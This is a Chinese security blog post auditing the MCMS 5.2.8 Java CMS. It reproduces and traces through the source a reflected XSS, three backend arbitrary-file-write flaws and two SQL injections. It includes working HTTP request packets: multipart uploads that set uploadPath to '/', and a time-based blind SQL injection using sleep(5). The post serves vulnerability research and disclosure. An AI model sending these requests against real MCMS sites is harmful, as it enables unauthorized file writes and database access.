freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记一次MCMS的审计之路
蚁景科技 2022-09-30 17:18:54 285295
所属地 湖南省

MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。

十天前 ,MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 MCMS 5.2.8

image-20220927104524-1hg4b3o.png

环境搭建

我们下载好安装包后

  • 利用 idea 打开项目

  • 创建数据库 mcms,导入 doc/mcms-5.2.8.sql

  • 修改 src/main/resources/application-dev.yml中关于数据库设置参数

  • 运行MSApplication.java main方法

  • 利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do

  • 进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

启动的时候会有一点小 bug 需要在 idea 中配置。image-20220928110151-1sq5pge.png

运行成功后,页面如图所示。

前台反射型 XSS

漏洞复现image-20220927124814-9z2q2i7.png

image-20220927114836-kaxyt7t.png

image-20220927114907-w1eijnt.png

漏洞分析

我们看到运行后的控制台输出为。

image-20220928105231-n0n35r8.png

我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper并添加断点,再次触发漏洞,看到一个完整的调用栈,

net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)

image-20220928105759-11yv63j.png

‍后台命令执行一

漏洞复现

后台有一个可以上传模板文件的位置。

image-20220928142757-8okay5r.png

我们上传文件并抓取数据包。

image-20220928142952-n9m7tm3.png

‍我们看到数据包中的参数 uploadPath指定了上传的位置,最后返回了上传后的路径以及文件内容。

image-20220928143119-bsb0xgu.png

通过修改 参数 uploadPath的值,我们就可以将文件上传 webapp的任意目录下。

我们写一个 1.txt 进行验证

POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

image-20220928145141-c9yfpgf.png

image-20220928145205-whxmf2l.png

漏洞分析

通过路由 /ms/file/uploadTemplate定位到代码位置

net.mingsoft.basic.action.ManageFileAction#uploadTemplate

image-20220928160122-jtvvscv.png

我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../进行了校验,通过绝对路径仍然可以绕过

net.mingsoft.basic.action.ManageFileAction#checkUploadPath

image-20220928160447-oysdbe4.png

net.mingsoft.basic.action.BaseFileAction#uploadTemplate

image-20220928165412-vdv3adh.png

后台命令执行二

漏洞复现

我们看到除了上传模板的接口,还存在编辑模板的接口。

image-20220928160841-vm8m761.png

点击编辑,编辑后保存并抓取数据包。

原本的数据包,

image-20220928161403-auwiag5.png

我们看到参数 fileName通过绝对路径指定了文件名,所以我们可以通过修改 fileName来实现绝对路径写入。

image-20220928161204-cdn09ld.png

image-20220928161235-2wyfscl.png

漏洞分析

net.mingsoft.basic.action.TemplateAction#writeFileContent

image-20220928162129-twnepqj.png

我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件。

‍后台命令执行三

漏洞复现

构造数据包

POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

返回上传成功的文件的地址,

image-20220928165615-paqrmzk.png

‍漏洞分析

这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内

net.mingsoft.basic.action.ManageFileAction#upload

image-20220928165037-8eoeckm.png

虽然存在非法路径过滤函数 checkUploadPath,查看函数内容,仅仅是对 ../进行了校验,通过绝对路径仍然可以绕过。

对文件的上传是利用了

net.mingsoft.basic.action.BaseFileAction#upload

image-20220928165157-yo8xc71.png

存在很多过滤,但是还是可以成功上传文件。

‍后台 SQL 注入漏洞

‍漏洞复现

构造数据包

GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null

image-20220928170542-7dnbxco.png

发现成功使得服务器沉睡五秒。

漏洞分析

net.mingsoft.mdiy.action.PageAction#verify

image-20220928170820-sdfbxhj.png

获取参数并传到方法 validated

net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)

image-20220928170930-u4fodj8.png

将 fieldName和 fieldValue的传入到 where 参数中

net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)

image-20220928172007-argi62z.png

net.mingsoft.base.dao.IBaseDao#queryBySQL

image-20220928171609-c9f4mpn.png

因为是 mybits 所以未采用预编译的 ${就容易产生注入。

image-20220928171341-tqn8buu.png

‍后台 SQL 注入二

漏洞复现

登录后台后我们找到自定义模型的位置,

image-20220929101857-lemvzme.png

根据代码生成器 生成一个自定义模型 json 并导入保存。

点击删除时 抓取数据包,

image-20220929102027-2q0n4ko.png

修改modelTableName

image-20220929102232-uz0al4y.png

发现成功使得服务器沉睡五秒。

漏洞分析

net.mingsoft.mdiy.action.ModelAction#delete

image-20220929102320-wcncq1y.png

net.mingsoft.base.biz.impl.BaseBizImpl#dropTable

image-20220929102848-8m520jm.png

net.mingsoft.base.dao.IBaseDao

image-20220929102914-2l9ieiy.png

image-20220929102818-888xgr8.png

查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。

# 漏洞分析 # 漏洞复现 # CMS漏洞
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录